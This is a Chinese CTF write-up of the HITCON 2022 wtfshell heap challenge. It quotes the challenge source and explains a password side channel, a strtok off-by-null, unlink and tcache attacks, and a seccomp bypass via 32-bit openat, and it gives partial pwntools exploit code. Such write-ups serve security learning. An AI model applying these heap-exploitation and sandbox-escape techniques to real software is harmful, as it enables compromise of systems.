首页
社区
课程
招聘
[原创]HITCON2022-wtfshell详解
发表于: 2022-12-1 15:06 20634

[原创]HITCON2022-wtfshell详解

2022-12-1 15:06
20634

征战hitcon2022,pwn手坐大牢,wtfshell这道题审了三小时源码,只看出来一个 chk_pw侧信道+read_pw未置零,最终可以通过侧信道leak出一个heap地址,没有看出其余的洞,最终放弃。

wtfshell1最终解数为4,wtfshell2最终解数为3。第一题解出来了第二题基本就解出来了。

感谢crazyman第二天来告诉我wtfshell的主要漏洞(strtok off by null),思考后脑子里出现了一套完整的利用思路。因此做出如下复现。

文章不太喜欢附图,大家多包涵,做出来难度还是蛮大的,因为即使知道了strtok->off-by-null,还是有非常多细节需要思考☹️。

题目提供了源码,一共930+行,libc为glibc2.36 3,由于glibc-all-in-one中找不到该版本libc,因此我换了一个小版本,用glibc2.36 4进行复现。

程序实现了一个类似于shell交互,输入rtfm可以查看菜单:

功能主要为:

查看chk_pw函数:

可以看到逻辑为:

当检查途中遇到不正确的字符,且 i 并未到达pw_len时,我们可以通过输入\n符是否退出chk_pw来判断当前密码字符是否正确。

且若密码不正确,输入\n退出chk_pw后会打印:

因此我们可以通过接收字符来判断密码字符是否正确,达到侧信道爆破的目的。

查看user结构体:uname堆指针跟在ushadow密码后。

查看read_pw函数:在读满PWMAXsize的时候,并未在末尾置零,导致user->ushadowuser->uname指针连接。

查看chk_pw函数:判断密码位数是通过strlen来判断的:

因此结合起来,我们可以利用侧信道+结构体,来leak出一个堆地址。

main函数中的gbuff是拿来储存我们的命令字符串的,大小为0x400,对其有一个分割符处理:

strtok函数会不断往字符串后面遍历,直到遇到\x00截断,同时strtok会将查找到的隔断符delim设置为\x00

查看隔断符delim:

其中!的ascii码值为0x21,若我们能在gbuff 0x400大小的堆块里填入0x408个非零字符,同时在后面跟上一个size头低字节为0x21的堆块,即可通过strtok实现off-by-null

首先申请一个user结构体,填满其pwd。本地gdb调试之后发现这样user->uname指针末尾为0,因此可以申请两个user结构体,第一个用作填充,使第二个user结构体的user->uname指针末尾不为0。

由于堆地址最低字节固定,不用泄露:

堆风水真的给整麻了。

首先我们需要得到一个被填满0x408非零字节的gbuff堆块。

整个程序free只能通过两种方式:①xrealloc,②xfree。

其中xfree函数:

其中malloc_usable_size函数会获取该heap所有能写的size,也就是说紧邻该堆块的下一个堆块的prev_size也会被算进来清零,因此我们要避开xfree,只能用xrealloc来free。

xrealloc其实就是调用realloc函数,当我们申请一个大于当前堆块size的堆块时,realloc会free掉当前堆块,然后重新申请堆块,这个过程中是不会清空free的堆块内容的。

小堆风水一波,得到一个填满0x408非零字节的gbuff堆块步骤为:

接下来就很简单能够想到在gbuff的下面申请一个堆块,off-by-null之后利用,以下文章将该堆块命名为off-by-null-chunk

在思考这一段时,卡了我非常久,特别鸣谢winmt师傅和ln3师傅和我激情讨论,一次次点醒我。

off-by-null-chunkprev_size我们无法控制。

首先我们知道,off-by-null-chunkprev_size是被填满了八字节的,不然无法触发strtok然后触发off-by-null

gbuff堆块与off-by-null-chunk是紧挨的,然后我们如果要更改off-by-null-chunkprev_size,就必须通过gbuff来更改。

我们知道,我们只能控制gbuff堆块的前0x400个字节,更改不了off-by-null-chunkprev_size

尝试思路一:首先肯定要触发off-by-null,我想的是触发off-by-null之后,再次调用cmd_irl来free掉gbuff,然后申请一个普通chunk,size为0x408,这样就能更改到off-by-null-chunkprev_size

但是这样是显然行不通的,因为free掉gbuff的时候,会判断gbuff下面那个堆块的use状态,由于已经off-by-null,会触发off-by-null,但是我们的prev_size不合法,这样会导致程序出错。

尝试思路二:我详细查阅了strtok的作用,如果出现连续的delim分隔符会如何处理,看能不能同时利用strtok将gbuff第0x400-0x408个字节中非prev_size部分清空,同时触发off-by-null。最终也以失败告终。

最终思路:再次审查源码后,发现cmd_rip函数中:

注意代码中我注释的this和that部分。

关注到remove_slash函数,会将字符串中含\的部分置为\x00:

同时也是通过strlen来判断长度。

menucmd_rip函数中,按先后顺序调用了如下:

如果我们构造这样的payload:

同时,在之前堆风水写gbuff的第0x400-0x408字节,若我们填入如下内容:

那么在执行第一句语句之后,返回的指针已经指向

注意strtok第一个参数为NULL时,继承的是上一次strtok返回的指针。

因此执行第二句语句之后,能够将off-by-null的size头低位0x21置为0,触发off-by-null

同时,执行第三句语句,将调整我们的prev_size为正常。

因此至此,我们已经构造好prev_size

我们知道,free一个堆块,会去检测下一个堆块的next_size是否合法:

我们free掉off-by-null-chunk的时候,除非off-by-null-chunk的size本身为0x501这种,off by null之后不用伪造next_size。否则需要伪造合法的next_size,不然free会触发错误。

伪造next_size的过程几乎没有希望的,之前看来:

首先off-by-null-chunk的size需要大于0x400(不能在tcache范围),在tcache范围内的tcache_off-by-null是没有作用的。

这就意味着我们申请的off-by-null-chunk的size需要大于0x400,那就只能调用cmd_rip来申请,其他都不能申请大于0x400 size的chunk。而cmd_rip的操作是根据strlen函数返回的长度来进行realloc的,也就是说,我们申请出某个size 的堆块,就必须填满他。

cmd_rip中部分代码:

但我们要伪造fake_next_sizefake_next_size中肯定带\x00截断,同时由于off-by-null-chunk原本size低字节为0x21,被改成\x00后,fake_next_size要放在off-by-null-chunk的+0x500处,例如如下结构:

其中padding为8非零字节。可以注意到fake_next_size中带\x00截断,因此我们不能申请到0x521大小的chunk。

想过很多种方法,例如利用realloc去进行一些trick,例如:

先申请出0x521大小的chunk,然后利用cmd_wtf里的strcpy往里填入零字节,再利用cmd_rip来realloc到适当字节,恰好写进fake_next_size,但是对一个内存大于申请size的堆块进行realloc,会free掉剩余size的小chunk:

例如对0x521 chunk 进行reallc(ptr,0x410),他会free掉剩余的0x100字节。这样会破坏掉原来chunk的size头,导致我们不能触发off-by-null

可见对大于0x400 size的chunk去写入一个fake_next_size是非常困难的。

转换思路呢?可能一开始就想错了,为什么off-by-null-chunksize一定要大于0x400呢?他的size可以是0x321,只要我们提前填满对应size的tcache_list即可。

而如果size小于0x400,我们观察cmd_wtf函数:

其中关键的即为:

strlen(fdata)<strlen(gfiles[i]->fdata),是不会触发realloc的,而是直接调用strcpy,也就是说,我们可以提前填满一个堆块,然后利用这个fdata size更小的时候,从后往前填充\x00字节,这样就能够伪造好我们的fake_next_size

后续写入地址也多次用到这个方式,因此我封装了一个函数(不太优雅,将就着看):

整理一下我们之前做到的事情:

并且这道题我们已经用侧信道泄露了堆地址,大大降低了off-by-null的难度,可以进行safe-unlink

只用在上方伪造一个size,然后绕过如下检测即可:

堆风水:

如果我们构造成:

这里注意的是,p->fd->bkp->bk->fd指向的地方,不能和p->fd_nextsize->bk_nextsizep->bk_nextsize->fd_nextsize指向的地方相同,否则在通过第一个检测之后,会执行:

就绕不过第二个检测:

因此最终构造为:

1

这里我在off-by-null-chunk下方没有构造好,导致一个tcacheprev_inuse为0,触发了第二次unlink,小调整了一下即可。

off-by-null之后,中间夹了几个tcache,即可实现泄露和任意地址写。

需要注意的是:

能够任意写的tcache size必须要小,因为cmd中任何申请函数都是以strlen返回结果来进行malloc的,也就是说,如果我们想申请任意写,我们就必须填满其chunk。例如我最开始构造的tcache size为0x300,这样的话,申请过去的堆块必须填满0x2f0内容。

wtfshell1中,我的思路是申请到flag1堆块,更改其file->flag为3(rw)与file->name

如果任意写的tcache_size过大,申请过去必须得写完,这会导致把堆上很多指针或者file->name破坏掉。

wtfshell2中,我的思路是打libc got表,那0x2f0大小必定会破坏掉非常多东西,因此也是不可能的。

因此做到这之后,我又重新调整tcache_size,小改了一波堆风水。

至此我们已经拿到heap_baselibc_base,并且有了任意写,泄露之后申请任意写过去改掉file->flag为3(rw)与file->name

观察cmd_omfg:发现如果是root用户,可以查看所有文件内容(若具有可读属性)。

由于我已经将file->flag改为3,file->name改为aaaaaaaaaaaaaaaa

直接调用show即可打印出第一个flag。

2

至此,wtfshell1 get。

ps:exp运行一次可能不能成功,侧信道爆破以及write_addr似乎有某些bug,不过多运行几次就能通。

wtfshell2只用考虑如何绕过沙盒,并且劫持程序流即可。

劫持strtok的libc-got表为magic_gadget,然后可劫持程序流。

沙盒是白名单,没有open。沙盒绕过卡掉了一个解,wtfshell2wtfshell1少了一个解。wtfshell2相比与wtfshell1就是多了沙盒。因为我们在wtfshell1中已经拿到了任意地址写,和heap_baselibc_basewtfshell2考察的就是如何绕过沙箱写orw

沙盒绕过是由winmt师傅看出来的,沙盒大手子。

但是程序本身是白名单,并没有允许open,这该怎么办呢?

可以看到沙盒没有判断架构,而允许了preadv

preadv在64位下调用号为:

4

同时openat在32位下调用号为:

5

因此直接可用int0x80调用32位下的openat

注意沙盒里判断了preadv的第一个参数需要大于2,因此我们openat的第一个参数也需要大于2,而当openat使用绝对路径的时候,第一个参数不影响结果,故这里最好用绝对路径/flag2

至此,wtfshell2 get

3

 
 
 
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
π    rtfm.            Read This Friendly Manual    π
π    qq.            Quit Quietly            π
π    lol,[-l].        List Of fiLes            π
π    rip.[FILE]        Redirect InPut            π
π    nsfw,FILE,PERM.        New Single File for Writing    π
π    wtf,DATA,FILE.        Write data To File        π
π    omfg,FILE.        Output My File Gracefully    π
π    gtfo,FILE.        GeT the File Out        π
π    ouo.            Output current User Out        π
π    stfu,USER.        SeT new Friendly User        π
π    asap,[USER].        ASsign A new Password        π
π    sus,USER.        Switch USer            π
π    shit.            SHell InformaTion        π
π    irl.            Instantly Reset shelL        π
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
π    rtfm.            Read This Friendly Manual    π
π    qq.            Quit Quietly            π
π    lol,[-l].        List Of fiLes            π
π    rip.[FILE]        Redirect InPut            π
π    nsfw,FILE,PERM.        New Single File for Writing    π
π    wtf,DATA,FILE.        Write data To File        π
π    omfg,FILE.        Output My File Gracefully    π
π    gtfo,FILE.        GeT the File Out        π
π    ouo.            Output current User Out        π
π    stfu,USER.        SeT new Friendly User        π
π    asap,[USER].        ASsign A new Password        π
π    sus,USER.        Switch USer            π
π    shit.            SHell InformaTion        π
π    irl.            Instantly Reset shelL        π
πππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππππ
int chk_pw(const char *pw) {
    char input;
    int pw_len = strlen(pw);
    for (int i = 0; i < pw_len + 1; i++) {
        int res = read(STDIN_FILENO, &input, 1);
        if (res < 0) {
            terminate();
        }
        if (i == pw_len) { // The last character must be a line break
            return input == '\n';
        }
        if (input == '\n') { // Ignore accidental line breaks
            i--;
            continue;
        }
        /* If password mismatch, quit immediately */
        if (input != pw[i]) {
            /* Read characters until '\n' */
            while (1) {
                int res = read(STDIN_FILENO, &input, 1);
                if (res < 0) {
                    terminate();
                }
                if (input == '\n') {
                    return 0;
                }
            }
        }
    }
}
int chk_pw(const char *pw) {
    char input;
    int pw_len = strlen(pw);
    for (int i = 0; i < pw_len + 1; i++) {
        int res = read(STDIN_FILENO, &input, 1);
        if (res < 0) {
            terminate();
        }
        if (i == pw_len) { // The last character must be a line break
            return input == '\n';
        }
        if (input == '\n') { // Ignore accidental line breaks
            i--;
            continue;
        }
        /* If password mismatch, quit immediately */
        if (input != pw[i]) {
            /* Read characters until '\n' */
            while (1) {
                int res = read(STDIN_FILENO, &input, 1);
                if (res < 0) {
                    terminate();
                }
                if (input == '\n') {
                    return 0;
                }
            }
        }
    }
}
 
if (!chk_pw(gusers[i]->ushadow)) {
                /* Clear data when error occurs */
                bzero(gusers[i]->ushadow, PWMAX);
                write_str("asap: pw1 ≠ pw2\n");
                return;
            }
if (!chk_pw(gusers[i]->ushadow)) {
                /* Clear data when error occurs */
                bzero(gusers[i]->ushadow, PWMAX);
                write_str("asap: pw1 ≠ pw2\n");
                return;
            }
struct user {
    char ushadow[PWMAX];
    char *uname;
    int uid;
};
struct user {
    char ushadow[PWMAX];
    char *uname;
    int uid;
};
int read_pw(char *dest) {
    int read_num = 0;
    while (read_num < PWMAX) {
        int res = read(STDIN_FILENO, &dest[read_num], 1);
        if (res < 0) {
            terminate();
        }
        if (dest[read_num] == '\n') {
            dest[read_num] = '\0';
            return read_num;
        }
        read_num++;
    }
    return read_num;
}
int read_pw(char *dest) {
    int read_num = 0;
    while (read_num < PWMAX) {
        int res = read(STDIN_FILENO, &dest[read_num], 1);
        if (res < 0) {
            terminate();
        }
        if (dest[read_num] == '\n') {
            dest[read_num] = '\0';
            return read_num;
        }
        read_num++;
    }
    return read_num;
}
int pw_len = strlen(pw);
int pw_len = strlen(pw);
read_max(gbuff, GBSIZE);
char *token = strtok(gbuff, delim);
read_max(gbuff, GBSIZE);
char *token = strtok(gbuff, delim);
 
const char delim[] = ".,?!";
const char delim[] = ".,?!";
 
def burp(name,pwd):
    addr = "\x80"
    for i in range(0x6):
        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))
        for j in range(0xb,0xff):
            payload = b'asap,'+name
            menu(payload)
            r.recvuntil(b"password:")
            r.send(pwd)
            r.recvuntil(b"retype password:")
            r.send(pwd+addr+chr(j)+"\n")
            data=r.recvuntil("\n",timeout=0.1)
            if b"asap: " not in data:
                addr+=chr(j)
                r.send(b'\x00\n')
                break
            else:
                continue
 
    return u64(addr.ljust(0x8,'\0'))
def burp(name,pwd):
    addr = "\x80"
    for i in range(0x6):
        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))
        for j in range(0xb,0xff):
            payload = b'asap,'+name
            menu(payload)
            r.recvuntil(b"password:")
            r.send(pwd)
            r.recvuntil(b"retype password:")
            r.send(pwd+addr+chr(j)+"\n")
            data=r.recvuntil("\n",timeout=0.1)
            if b"asap: " not in data:
                addr+=chr(j)
                r.send(b'\x00\n')
                break
            else:
                continue
 
    return u64(addr.ljust(0x8,'\0'))
 
 
void xfree(void *ptr) {
    if (!ptr) {
        return;
    }
    size_t size = malloc_usable_size(ptr);
    bzero(ptr, size);
    free(ptr);
}
void xfree(void *ptr) {
    if (!ptr) {
        return;
    }
    size_t size = malloc_usable_size(ptr);
    bzero(ptr, size);
    free(ptr);
}
 
 
 
 
 
 
 
 
 
 
 
void  cmd_rip() {
    char *fname = strtok(NULL, delim);##this!
    char *rbuff = xmalloc(SBSIZE);
 
    /* Redirect input to stdout */
    if (!fname) {
        read_max(rbuff, SBSIZE);
        write_str(rbuff);
        write_str("\n");
        xfree(rbuff);
        return;
    }
 
    /* Redirect input to a file */
 
    remove_slash(fname);#that!
    if (strlen(fname) == 0) {
        write_str("rip: flag = ∅\n");
        xfree(rbuff);
        return;
    }
    /* Special case: flag1 cannot be altered */
    if (!strcmp(fname, "flag1")) {
        write_str("rip: ¬ perm\n");
        xfree(rbuff);
        return;
    }
    for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be writable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
                write_str("rip: ¬ perm\n");
                xfree(rbuff);
                return;
            }
 
            read_max(rbuff, SBSIZE);
            if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(rbuff) > 0) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(gfiles[i]->fdata) + strlen(rbuff) + 1); // Remember the extra null byte
                }
                strcat(gfiles[i]->fdata, rbuff);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(rbuff);
            }
            xfree(rbuff);
            return;
        }
    }
    write_str("rip: \"");
    write_str(fname);
    write_str("\" ∉ ℱ\n");
    xfree(rbuff);
}
void  cmd_rip() {
    char *fname = strtok(NULL, delim);##this!
    char *rbuff = xmalloc(SBSIZE);
 
    /* Redirect input to stdout */
    if (!fname) {
        read_max(rbuff, SBSIZE);
        write_str(rbuff);
        write_str("\n");
        xfree(rbuff);
        return;
    }
 
    /* Redirect input to a file */
 
    remove_slash(fname);#that!
    if (strlen(fname) == 0) {
        write_str("rip: flag = ∅\n");
        xfree(rbuff);
        return;
    }
    /* Special case: flag1 cannot be altered */
    if (!strcmp(fname, "flag1")) {
        write_str("rip: ¬ perm\n");
        xfree(rbuff);
        return;
    }
    for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be writable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
                write_str("rip: ¬ perm\n");
                xfree(rbuff);
                return;
            }
 
            read_max(rbuff, SBSIZE);
            if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(rbuff) > 0) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(gfiles[i]->fdata) + strlen(rbuff) + 1); // Remember the extra null byte
                }
                strcat(gfiles[i]->fdata, rbuff);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(rbuff);
            }
            xfree(rbuff);
            return;
        }
    }
    write_str("rip: \"");
    write_str(fname);
    write_str("\" ∉ ℱ\n");
    xfree(rbuff);
}
 
void remove_slash(char *fname) {
    int fname_len = strlen(fname);
    for (int i = 0; i < fname_len; i++) {
        if (fname[i] == '/') {
            fname[i] = '\0';
        }
    }
}
void remove_slash(char *fname) {
    int fname_len = strlen(fname);
    for (int i = 0; i < fname_len; i++) {
        if (fname[i] == '/') {
            fname[i] = '\0';
        }
    }
}
 
char *token = strtok(gbuff, delim);
char *fname = strtok(NULL, delim);##this!
remove_slash(fname);#that!
char *token = strtok(gbuff, delim);
char *fname = strtok(NULL, delim);##this!
remove_slash(fname);#that!
b'rip.'+b'a'*(0x400-4)
b'rip.'+b'a'*(0x400-4)
p16(prev_size)+b'\'*6
p16(prev_size)+b'\'*6
b'a'*(0x400-4)+p16(prev_size)+b'\'*6
b'a'*(0x400-4)+p16(prev_size)+b'\'*6
 
 
 
 
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
            malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ)
              || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
            malloc_printerr ("malloc(): invalid next size (unsorted)");
 
 
 
 
for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be writable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
                write_str("rip: ¬ perm\n");
                xfree(rbuff);
                return;
            }
 
            read_max(rbuff, SBSIZE);
            if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(rbuff) > 0) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(gfiles[i]->fdata) + strlen(rbuff) + 1); // Remember the extra null byte
                }
                strcat(gfiles[i]->fdata, rbuff);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(rbuff);
            }
            xfree(rbuff);
            return;
        }
    }
for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be writable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
                write_str("rip: ¬ perm\n");
                xfree(rbuff);
                return;
            }
 
            read_max(rbuff, SBSIZE);
            if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(rbuff) > 0) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(gfiles[i]->fdata) + strlen(rbuff) + 1); // Remember the extra null byte
                }
                strcat(gfiles[i]->fdata, rbuff);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(rbuff);
            }
            xfree(rbuff);
            return;
        }
    }
off-by-null-chunk:
    0 0x500(0x521)
    ........
    ........
    padding,fake_next_size
    padding,padding。
off-by-null-chunk:
    0 0x500(0x521)
    ........
    ........
    padding,fake_next_size
    padding,padding。
 
 
 
 
 
 
void cmd_wtf() {
    char *fdata = strtok(NULL, delim);
    if (!fdata) {
        write_str("wtf: data ∈ ∅\n");
        return;
    }
    char *fname = strtok(NULL, delim);
    if (!fname) {
        write_str("wtf: file ∈ ∅\n");
        return;
    }
 
    remove_slash(fname);
    if (strlen(fname) == 0) {
        write_str("wtf: file = ∅\n");
        return;
    }
    /* Special case: flag1 cannot be altered */
    if (!strcmp(fname, "flag1")) {
        write_str("wtf: ¬ perm\n");
        return;
    }
    for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be writable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
                write_str("wtf: ¬ perm\n");
                return;
            }
            if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(fdata) > strlen(gfiles[i]->fdata)) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(fdata) + 1); // Remember the extra null byte
                }
                strcpy(gfiles[i]->fdata, fdata);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(fdata);
            }
            return;
        }
    }
    write_str("wtf: \"");
    write_str(fname);
    write_str("\" ∉ ℱ\n");
}
void cmd_wtf() {
    char *fdata = strtok(NULL, delim);
    if (!fdata) {
        write_str("wtf: data ∈ ∅\n");
        return;
    }
    char *fname = strtok(NULL, delim);
    if (!fname) {
        write_str("wtf: file ∈ ∅\n");
        return;
    }
 
    remove_slash(fname);
    if (strlen(fname) == 0) {
        write_str("wtf: file = ∅\n");
        return;
    }
    /* Special case: flag1 cannot be altered */
    if (!strcmp(fname, "flag1")) {
        write_str("wtf: ¬ perm\n");
        return;
    }
    for (int i = 1 /* ignore flag1 */; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be writable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & WRPERM)) {
                write_str("wtf: ¬ perm\n");
                return;
            }
            if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(fdata) > strlen(gfiles[i]->fdata)) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(fdata) + 1); // Remember the extra null byte
                }
                strcpy(gfiles[i]->fdata, fdata);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(fdata);
            }
            return;
        }
    }
    write_str("wtf: \"");
    write_str(fname);
    write_str("\" ∉ ℱ\n");
}
if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(fdata) > strlen(gfiles[i]->fdata)) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(fdata) + 1); // Remember the extra null byte
                }
                strcpy(gfiles[i]->fdata, fdata);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(fdata);
            }
            return;
        }
if (gfiles[i]->fdata) {
                /* File is not empty -> rewrite the file content */
                if (strlen(fdata) > strlen(gfiles[i]->fdata)) {
                    gfiles[i]->fdata = xrealloc(gfiles[i]->fdata, strlen(fdata) + 1); // Remember the extra null byte
                }
                strcpy(gfiles[i]->fdata, fdata);
            } else {
                /* File is empty -> write the content directly */
                gfiles[i]->fdata = strdup(fdata);
            }
            return;
        }
 
def write_addr(filename,payload,size):
    whole_size = len(payload)+1
    no_null_payload = payload.replace(b'\x00',b'a')
    for i in range(size):
        # log.success(hex(i))
        if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':
            # pause()
            recover_data(filename,no_null_payload[0:whole_size-i-2])
            # debug("free")
 
        else:
            continue
def write_addr(filename,payload,size):
    whole_size = len(payload)+1
    no_null_payload = payload.replace(b'\x00',b'a')
    for i in range(size):
        # log.success(hex(i))
        if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':
            # pause()
            recover_data(filename,no_null_payload[0:whole_size-i-2])
            # debug("free")
 
        else:
            continue
 
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
 
  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
      || p->bk_nextsize->fd_nextsize != p)
    malloc_printerr ("corrupted double-linked list (not small)");
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
 
  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
      || p->bk_nextsize->fd_nextsize != p)
    malloc_printerr ("corrupted double-linked list (not small)");
 
0  fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P->addr
0  fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P->addr
fd->bk = bk;
bk->fd = fd;
fd->bk = bk;
bk->fd = fd;
if (p->fd_nextsize->bk_nextsize != p
      || p->bk_nextsize->fd_nextsize != p)
    malloc_printerr ("corrupted double-linked list (not small)");
if (p->fd_nextsize->bk_nextsize != p
      || p->bk_nextsize->fd_nextsize != p)
    malloc_printerr ("corrupted double-linked list (not small)");
0  fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P->addr P->addr
0  fake_size
fake_fd fake_bk
fake_fd_nextsize fake_bk_nextsize
P->addr P->addr
 
 
 
 
 
 
 
 
 
void cmd_omfg() {
    char *fname = strtok(NULL, delim);
    if (!fname) {
        write_str("omfg: file ∈ ∅\n");
        return;
    }
    remove_slash(fname);
    if (strlen(fname) == 0) {
        write_str("omfg: file = ∅\n");
        return;
    }
    for (int i = 0; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be readable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & RDPERM)) {
                write_str("omfg: ¬ perm\n");
                return;
            }
            if (!gfiles[i]->fdata) { // empty file
                return;
            }
            write_str(gfiles[i]->fdata);
            write_str("\n");
            return;
        }
    }
    write_str("omfg: \"");
    write_str(fname);
    write_str("\" ∉ ℱ \n");
}
void cmd_omfg() {
    char *fname = strtok(NULL, delim);
    if (!fname) {
        write_str("omfg: file ∈ ∅\n");
        return;
    }
    remove_slash(fname);
    if (strlen(fname) == 0) {
        write_str("omfg: file = ∅\n");
        return;
    }
    for (int i = 0; i < FILEMAX; i++) {
        if (gfiles[i] && gfiles[i]->fname && !strcmp(gfiles[i]->fname, fname)) {
            /* The file's owner must be root or the current user, and the file must be readable */
            if ((curr_uid != 0 && gfiles[i]->fuid != curr_uid) || !(gfiles[i]->fflag & RDPERM)) {
                write_str("omfg: ¬ perm\n");
                return;
            }
            if (!gfiles[i]->fdata) { // empty file
                return;
            }
            write_str(gfiles[i]->fdata);
            write_str("\n");
            return;
        }
    }
    write_str("omfg: \"");
    write_str(fname);
    write_str("\" ∉ ℱ \n");
}
 
 
 
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
 
def qwq(name):
  log.success(hex(name))
 
def debug(point):
    if point == 0:
        gdb.attach(r)
    else:
        gdb.attach(r,"b "+point)
 
r = process('/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell')
 
def menu(payload):
    r.recvuntil("√")
    r.sendline(payload)
 
def add_data(name,content):
    payload = b'rip.'+name
    menu(payload)
    sleep(0.1)
    r.send(content)
 
 
def new_file(name,flag):
    payload = b'nsfw,'+name+b','+flag
    menu(payload)
 
def show_file(name):
    payload = b'omfg,'+name
    menu(payload)
 
def recover_data(name,content):
    payload = b'wtf,'+content+b','+name
    menu(payload)
 
def delete_file(name):
    payload = b'gtfo,'+name
    menu(payload)
 
def add_user(name):
    payload = b'stfu,'+name
    menu(payload)
 
def edit_pwd(name,pwd):
    payload = b'asap,'+name
    menu(payload)
    r.recvuntil(b"password:")
    r.send(pwd)
    r.recvuntil(b"retype password:")
    r.send(pwd)
 
def delete_all():
    payload = b'irl.'
    menu(payload)
 
def burp(name,pwd):
    addr = "\x80"
    for i in range(0x6):
        log.success("addr: "+hex(u64(addr.ljust(0x8,'\0'))))
        for j in range(0xb,0xff):
            payload = b'asap,'+name
            menu(payload)
            r.recvuntil(b"password:")
            r.send(pwd)
            r.recvuntil(b"retype password:")
            r.send(pwd+addr+chr(j)+"\n")
            data=r.recvuntil("\n",timeout=0.1)
            if b"asap: " not in data:
                addr+=chr(j)
                r.send(b'\x00\n')
                break
            else:
                continue
 
    return u64(addr.ljust(0x8,'\0'))
 
def write_addr(filename,payload,size):
    whole_size = len(payload)+1
    no_null_payload = payload.replace(b'\x00',b'a')
    for i in range(size):
        # log.success(hex(i))
        if no_null_payload[whole_size-i-2:whole_size-i-1] == b'a':
            # pause()
            recover_data(filename,no_null_payload[0:whole_size-i-2])
            # debug("free")
 
        else:
            continue
 
 
 
 
 
 
add_user(b'what')
add_user(b'lotus')
heap_base=burp(b'lotus',"a"*0x40)-0x880
key = heap_base>>12
# for i in range(0x7):
# new_file(b'chunk1',b'3')
# add_data(b'chunk1')
new_file(b'big',b'3')
new_file(b'gbuff',b'3')
